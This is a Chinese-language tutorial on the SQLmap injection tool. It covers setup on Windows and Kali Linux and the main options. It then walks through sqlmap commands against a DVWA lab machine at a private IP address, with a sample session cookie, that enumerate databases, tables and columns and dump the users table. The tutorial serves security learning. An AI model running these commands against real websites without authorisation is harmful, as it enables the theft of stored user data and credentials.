渗透工具用法(一)SQLmap 的用法
前言
此系列笔记是网络渗透工具的使用方法, 本篇是介绍 SQL 注入工具 SQLmap 的使用方法。SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具, 有一个非常棒的特性, 即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
SQLmap 环境
提示
由于 kali Liunx
已经集成了 SQLmap 的环境, 这里就直接介绍 Windows
下环境的构建。
先安装 Python
正常情况下我们安装 2.7.x
就好了。
接下来只需在环境变量 path
中添加 Python 的安装路径就好了。
再安装 SQLmap
将 SQLmap 解压至 Python 目录下, 将 SQLmap 的程序目录重命名为 sqlmap。
在桌面新建快捷方式
For Example:
DVWA 环境
DVWA(Dam Vulnerable Web Application) 使用 PHP+Mysql
编写的一套用于常规 WEB 漏洞教学和检测的 WEB 脆弱性测试程序。包含 SQL 注入、XSS、盲注等常见的一些漏洞。
在 Windows
下还需安装 PHP
环境, 这里推介两个 PHP
集成环境。
upupw PHP 集成环境 phpStudy PHP 集成环境
接下来只需修改一下配置文件就好了。
SQlmap 使用方法
Windows
下跟 kali Liunx
下使用方法不相同。
为方便演示, 我们创建两个虚拟机:
- 受害者机器,
Windows 2003
操作系统, 运行一个 WEB 服务器, 同时跑着一个包含漏洞的 WEB 应用(DVWA)。 - 攻击器机器, 使用
kali Liunx
或者其他版本的Windows
包含 SQLmap 程序。
本次实验的目的: 使用 SQLmap 得到以下信息:
- 枚举 MYSQL 用户名与密码。
- 枚举所有数据库。
- 枚举指定数据库的数据表。
- 枚举指定数据表中的所有用户名与密码。
查看帮助
Windows:
查看 Python 帮助命令
python sqlmap.py -h
kali Liunx:
查看 Python 帮助命令
sqlmap -h
注意
需要注意的是 Windows
下的选项和 kali Liunx
下的选项是一致的, 但是命令是不一致的。在 Windows
下使用 python sqlmap.py
, 而在 kali Liunx
下使用的是 sqlmap
。
选项解释
- --cookie => 设置我们的 cookie 值 "将 DVWA 安全等级设置为 low"
- --data => 设置 POST 提交的值, 如果是 GET 提交, 不需要此选项
- -u => 指定目标 URL
- -b => 获取 DBMS banner
- --current-db => 获取当前数据库
- --current-user => 获取当前数据库的用户
- --tables => 获取数据库里所有的表名
- --columns => 获取表里的所有字段
- --dump => 获取值
- --current-user => 获取当前用户
- -D => 爆库指定数据库名
- -T => 爆库指定表名
- -C => 爆库指定字段名
- --string => 当查询可用时用来匹配页面中的字符串
- --users => 枚举 DBMS 用户
- --password => 枚举 DBMS 用户密码 hash
- --dbs => 枚举 DBMS 中的数据库
开始爆库
由于 Windows
和 kali Liunx
的做法基本一致, 这里以 kali Liunx
为例。DVWA 的难度为 low。
先获取 Cookie
每一次的 Cookie 都不一样, 这里是个示范。
For Example:
获取数据库, --current-db
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" --current-db
URL 地址和 Cookie 请用真实的替换掉。这条命令可以把当前所有的数据库获取出来的。注意 --current-db
的 -
可是有两个的。
获取表, --tables
前面, 我们已经获取到数据库名, 这时候我们要指定数据库名。使用 -D
选项指定数据库名。注意 --tables
的 -
可是有两个的。
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" -D 'dvwa' --tables
获取字段, --columns
提示
前面, 我们已经获取到数据库名和表名了, 这时候我们要指定数据库名和表名。使用 -D
选项指定数据库名, 使用 -T
指定表名。这里我们选择表 users
。注意 --columns
的 -
可是有两个的。
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" -D 'dvwa' -T 'users' --columns
获取数据, --dump
提示
前面, 我们已经获取到数据库名、表名还有字段名了, 这时候我们要指定数据库名、表名还有字段名。使用 -D
选项指定数据库名, 使用 -T
指定表名, 使用 -C
指定字段名。这里我们选择表 users
中的字段 user_id
。注意 --dump
的 -
可是有两个的。
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" -D 'dvwa' -T 'users' -C 'user_id' --dump